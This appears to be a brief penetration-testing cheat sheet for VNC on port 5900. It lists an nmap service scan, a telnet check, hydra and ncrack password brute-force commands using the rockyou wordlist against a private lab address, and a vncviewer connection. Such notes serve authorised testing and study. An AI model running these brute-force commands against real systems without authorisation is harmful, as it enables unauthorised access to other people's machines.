Port 5900 - vnc
Nmap scan
nmap -sV -sC -p 5900 10.0.2.5
Telnet connection
telnet 10.0.2.5 5900
Hydra
hydra -s 5900 -P /usr/share/wordlists/szalek/pass/rockyou.txt -t 1 10.0.2.5 vnc
Ncrack
bash ncrack -P /usr/share/wordlists/rockyou.txt 10.0.2.5:5900
Connect
vncviewer 10.0.2.5:5900